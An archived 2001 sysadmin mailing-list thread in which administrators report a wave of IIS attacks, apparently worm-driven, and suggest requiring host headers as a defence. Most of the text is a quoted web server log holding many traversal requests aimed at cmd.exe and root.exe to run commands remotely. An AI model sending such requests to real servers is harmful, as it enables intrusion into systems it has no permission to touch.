RE: WARNING: Hacker Alert

Tue, 18 Sep 2001 09:09:19 -0700

Title: RE: WARNING: Hacker Alert
In the web site properties, identification, advanced, don't have an entry that doesn't have a host header.  The only negative that I can think of is browsers of approximately Version 2 series can't connect.  Considering that IE 6 and Netscape are long past that, the impact is minimal.
-----Original Message-----
From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, September 18, 2001 11:40 AM
To: NT System Admin Issues
Subject: RE: WARNING: Hacker Alert

How do you do that?

-----Original Message-----
From: Kevin Lundy [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, September 18, 2001 8:26 AM
To: NT System Admin Issues
Subject: RE: WARNING: Hacker Alert


looks like an exploit of the "Hacked by Chinese" type from several months
ago.

None of my servers have shown attempts.

One easy way to stop most of the IIS probing is to simply require host
headers on all sites.  If your server doesn't respond when the get/put
commands use an IP number, then most vulnerabilities aren't "vulnerable".
Then any scans would need to be done via DNS rather than random IP numbers,
significantly slowing attacks.

-----Original Message-----
From: Martin Blackstone [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, September 18, 2001 11:19 AM
To: NT System Admin Issues
Subject: RE: WARNING: Hacker Alert


Here is a site that has been hit
http://216.39.178.32

-----Original Message-----
From: Jason Morris [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, September 18, 2001 7:59 AM
To: NT System Admin Issues
Subject: RE: WARNING: Hacker Alert


CodeRed seems to have dwindled to nothing on my logs. But it's being
replaced with the EXACT same lines you have below, and they stay
consistent with the code red 2 methods of attacking the more local
subnets.

Jason Morris CCDA CCNP
Network Administrator
MJMC, Inc.
708-225-2350
[EMAIL PROTECTED]


-----Original Message-----
From: Jason Morris [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, September 18, 2001 9:50 AM
To: NT System Admin Issues
Cc: '[EMAIL PROTECTED]'
Subject: RE: WARNING: Hacker Alert


Yes. It seems to be systems I have previously monitored hitting me with
codered attacks. I bet someone is activating all of their children.

Jason Morris CCDA CCNP
Network Administrator
MJMC, Inc.
708-225-2350
[EMAIL PROTECTED]


-----Original Message-----
From: xylog [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, September 18, 2001 9:45 AM
To: NT System Admin Issues
Subject: WARNING: Hacker Alert


All my public facing web servers at home and at my office have shown a
huge continuous hacking activity. Has anyone seen similar? I fear this
may be code red related or automated. Please comment if you have seen
similar. Here is an excerpt from one logfile:

63.101.9.107, -, 9/18/01, 10:36:21, W3SVC4, DC1DIIS01, x.x.x.x, 0, 145,
0, 500, 87, GET,
/msadc/..%5c../..%5c../..%5c/..�../..�../..�../winnt/system32/cmd.exe
, /c+dir,
63.101.9.107, -, 9/18/01, 10:36:28, W3SVC4, DC1DIIS01, x.x.x.x, 0, 97,
604, 404, 3, GET, /scripts/..�../winnt/system32/cmd.exe, /c+dir,
63.101.9.107, -, 9/18/01, 10:36:28, W3SVC4, DC1DIIS01, x.x.x.x, 0, 97,
604, 404, 3, GET, /scripts/winnt/system32/cmd.exe, /c+dir, 63.101.9.107,
-, 9/18/01, 10:36:32, W3SVC4, DC1DIIS01, x.x.x.x, 0, 97, 604, 404, 3,
GET, /winnt/system32/cmd.exe, /c+dir, 63.101.9.107, -, 9/18/01,
10:36:32, W3SVC4, DC1DIIS01, x.x.x.x, 0, 97, 604, 404, 3, GET,
/winnt/system32/cmd.exe, /c+dir, 63.101.9.107, -, 9/18/01, 10:36:32,
W3SVC4, DC1DIIS01, x.x.x.x, 0, 98, 0, 500, 87, GET,
/scripts/..%5c../winnt/system32/cmd.exe, /c+dir, 63.101.9.107, -,
9/18/01, 10:36:32, W3SVC4, DC1DIIS01, x.x.x.x, 0, 96, 0, 500, 87, GET,
/scripts/..%5c../winnt/system32/cmd.exe, /c+dir, 63.101.9.107, -,
9/18/01, 10:36:32, W3SVC4, DC1DIIS01, x.x.x.x, 0, 100, 0, 500, 87, GET,
/scripts/..%5c../winnt/system32/cmd.exe, /c+dir, 63.101.9.107, -,
9/18/01, 10:36:33, W3SVC4, DC1DIIS01, x.x.x.x, 0, 96, 0, 500, 87, GET,
/scripts/..%2f../winnt/system32/cmd.exe, /c+dir, 64.156.252.27, -,
9/18/01, 10:36:42, W3SVC4, DC1DIIS01, x.x.x.x, 156, 41, 13975, 200, 0,
GET, /mpf-flow/flow/login.cfm, -, 63.101.171.231, -, 9/18/01, 10:37:02,
W3SVC4, DC1DIIS01, x.x.x.x, 0, 72, 604, 404, 3, GET, /scripts/root.exe,
/c+dir, 63.101.171.231, -, 9/18/01, 10:37:02, W3SVC4, DC1DIIS01,
x.x.x.x, 0, 70, 604, 404, 3, GET, /MSADC/root.exe, /c+dir,
63.101.171.231, -, 9/18/01, 10:37:02, W3SVC4, DC1DIIS01, x.x.x.x, 0, 80,
604, 404, 3, GET, /c/winnt/system32/cmd.exe, /c+dir, 63.101.171.231, -,
9/18/01, 10:37:02, W3SVC4, DC1DIIS01, x.x.x.x, 15, 80, 604, 404, 3, GET,
/d/winnt/system32/cmd.exe, /c+dir, 63.101.171.231, -, 9/18/01, 10:37:06,
W3SVC4, DC1DIIS01, x.x.x.x, 0, 96, 0, 500, 87, GET,
/scripts/..%5c../winnt/system32/cmd.exe, /c+dir, 63.101.171.231, -,
9/18/01, 10:37:09, W3SVC4, DC1DIIS01, x.x.x.x, 0, 117, 0, 500, 87, GET,
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe, /c+dir,
63.101.171.231, -, 9/18/01, 10:37:09, W3SVC4, DC1DIIS01, x.x.x.x, 0,
117, 0, 500, 87, GET,
/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe, /c+dir,
63.101.171.231, -, 9/18/01, 10:37:09, W3SVC4, DC1DIIS01, x.x.x.x, 0,
145, 0, 500, 87, GET,
/msadc/..%5c../..%5c../..%5c/..�../..�../..�../winnt/system32/cmd.exe
, /c+dir,
63.101.171.231, -, 9/18/01, 10:37:09, W3SVC4, DC1DIIS01, x.x.x.x, 15,
97, 604, 404, 3, GET, /scripts/..�../winnt/system32/cmd.exe, /c+dir,
64.156.252.27, -, 9/18/01, 10:37:12, W3SVC4, DC1DIIS01, x.x.x.x, 156,
41, 13975, 200, 0, GET, /mpf-flow/flow/login.cfm, -, 63.101.171.231, -,
9/18/01, 10:37:12, W3SVC4, DC1DIIS01, x.x.x.x, 16, 97, 604, 404, 3, GET,
/scripts/winnt/system32/cmd.exe, /c+dir, 63.101.171.231, -, 9/18/01,
10:37:12, W3SVC4, DC1DIIS01, x.x.x.x, 16, 97, 604, 404, 3, GET,
/winnt/system32/cmd.exe, /c+dir, 63.101.171.231, -, 9/18/01, 10:37:13,
W3SVC4, DC1DIIS01, x.x.x.x, 0, 97, 604, 404, 3, GET,
/winnt/system32/cmd.exe, /c+dir, 63.101.171.231, -, 9/18/01, 10:37:13,
W3SVC4, DC1DIIS01, x.x.x.x, 0, 98, 0, 500, 87, GET,
/scripts/..%5c../winnt/system32/cmd.exe, /c+dir, 63.101.171.231, -,
9/18/01, 10:37:13, W3SVC4, DC1DIIS01, x.x.x.x, 0, 96, 0, 500, 87, GET,
/scripts/..%5c../winnt/system32/cmd.exe, /c+dir, 63.101.171.231, -,
9/18/01, 10:37:13, W3SVC4, DC1DIIS01, x.x.x.x, 0, 100, 0, 500, 87, GET,
/scripts/..%5c../winnt/system32/cmd.exe, /c+dir, 63.101.171.231, -,
9/18/01, 10:37:17, W3SVC4, DC1DIIS01, x.x.x.x, 0, 96, 0, 500, 87, GET,
/scripts/..%2f../winnt/system32/cmd.exe, /c+dir, 63.230.208.17, -,
9/18/01, 10:37:21, W3SVC4, DC1DIIS01, x.x.x.x, 0, 72, 604, 404, 3, GET,
/scripts/root.exe, /c+dir, 63.230.208.17, -, 9/18/01, 10:37:22, W3SVC4,
DC1DIIS01, x.x.x.x, 0, 70, 604, 404, 3, GET, /MSADC/root.exe, /c+dir,
63.230.208.17, -, 9/18/01, 10:37:24, W3SVC4, DC1DIIS01, x.x.x.x, 0, 80,
604, 404, 3, GET, /c/winnt/system32/cmd.exe, /c+dir, 63.230.208.17, -,
9/18/01, 10:37:26, W3SVC4, DC1DIIS01, x.x.x.x, 0, 80, 604, 404, 3, GET,
/d/winnt/system32/cmd.exe, /c+dir, 63.230.208.17, -, 9/18/01, 10:37:28,
W3SVC4, DC1DIIS01, x.x.x.x, 0, 96, 0, 500, 87, GET,
/scripts/..%5c../winnt/system32/cmd.exe, /c+dir, 63.230.208.17, -,
9/18/01, 10:37:34, W3SVC4, DC1DIIS01, x.x.x.x, 0, 117, 0, 500, 87, GET,
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe, /c+dir,
63.230.208.17, -, 9/18/01, 10:37:36, W3SVC4, DC1DIIS01, x.x.x.x, 0, 117,
0, 500, 87, GET,
/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe, /c+dir,
63.230.208.17, -, 9/18/01, 10:37:42, W3SVC4, DC1DIIS01, x.x.x.x, 0, 145,
0, 500, 87, GET,
/msadc/..%5c../..%5c../..%5c/..�../..�../..�../winnt/system32/cmd.exe
, /c+dir,
63.114.34.130, -, 9/18/01, 10:39:37, W3SVC4, DC1DIIS01, x.x.x.x, 0, 72,
604, 404, 3, GET, /scripts/root.exe, /c+dir, 63.114.34.130, -, 9/18/01,
10:39:37, W3SVC4, DC1DIIS01, x.x.x.x, 0, 70, 604, 404, 3, GET,
/MSADC/root.exe, /c+dir, 63.114.34.130, -, 9/18/01, 10:39:37, W3SVC4,
DC1DIIS01, x.x.x.x, 0, 80, 604, 404, 3, GET, /c/winnt/system32/cmd.exe,
/c+dir, 63.114.34.130, -, 9/18/01, 10:39:38, W3SVC4, DC1DIIS01, x.x.x.x,
0, 80, 604, 404, 3, GET, /d/winnt/system32/cmd.exe, /c+dir,
63.114.34.130, -, 9/18/01, 10:39:38, W3SVC4, DC1DIIS01, x.x.x.x, 0, 96,
0, 500, 87, GET, /scripts/..%5c../winnt/system32/cmd.exe, /c+dir,
63.114.34.130, -, 9/18/01, 10:39:38, W3SVC4, DC1DIIS01, x.x.x.x, 0, 117,
0, 500, 87, GET,
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe, /c+dir,
63.114.34.130, -, 9/18/01, 10:39:39, W3SVC4, DC1DIIS01, x.x.x.x, 0, 117,
0, 500, 87, GET,
/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe, /c+dir,
63.114.34.130, -, 9/18/01, 10:39:39, W3SVC4, DC1DIIS01, x.x.x.x, 0, 145,
0, 500, 87, GET,
/msadc/..%5c../..%5c../..%5c/..�../..�../..�../winnt/system32/cmd.exe
, /c+dir,
63.114.34.130, -, 9/18/01, 10:39:39, W3SVC4, DC1DIIS01, x.x.x.x, 15, 97,
604, 404, 3, GET, /scripts/..�../winnt/system32/cmd.exe, /c+dir,
63.114.34.130, -, 9/18/01, 10:39:41, W3SVC4, DC1DIIS01, x.x.x.x, 16, 97,
604, 404, 3, GET, /scripts/winnt/system32/cmd.exe, /c+dir,
63.114.34.130, -, 9/18/01, 10:39:44, W3SVC4, DC1DIIS01, x.x.x.x, 15, 97,
604, 404, 3, GET, /winnt/system32/cmd.exe, /c+dir, 63.114.34.130, -,
9/18/01, 10:39:44, W3SVC4, DC1DIIS01, x.x.x.x, 0, 97, 604, 404, 3, GET,
/winnt/system32/cmd.exe, /c+dir, 63.114.34.130, -, 9/18/01, 10:39:44,
W3SVC4, DC1DIIS01, x.x.x.x, 0, 98, 0, 500, 87, GET,
/scripts/..%5c../winnt/system32/cmd.exe, /c+dir, 64.156.252.27, -,
9/18/01, 10:39:45, W3SVC4, DC1DIIS01, x.x.x.x, 172, 41, 13973, 200, 0,
GET, /mpf-flow/flow/login.cfm, -, 63.114.34.130, -, 9/18/01, 10:39:45,
W3SVC4, DC1DIIS01, x.x.x.x, 0, 96, 0, 500, 87, GET,
/scripts/..%5c../winnt/system32/cmd.exe, /c+dir, 63.114.34.130, -,
9/18/01, 10:39:45, W3SVC4, DC1DIIS01, x.x.x.x, 0, 100, 0, 500, 87, GET,
/scripts/..%5c../winnt/system32/cmd.exe, /c+dir, 63.114.34.130, -,
9/18/01, 10:39:47, W3SVC4, DC1DIIS01, x.x.x.x, 0, 96, 0, 500, 87, GET,
/scripts/..%2f../winnt/system32/cmd.exe, /c+dir,



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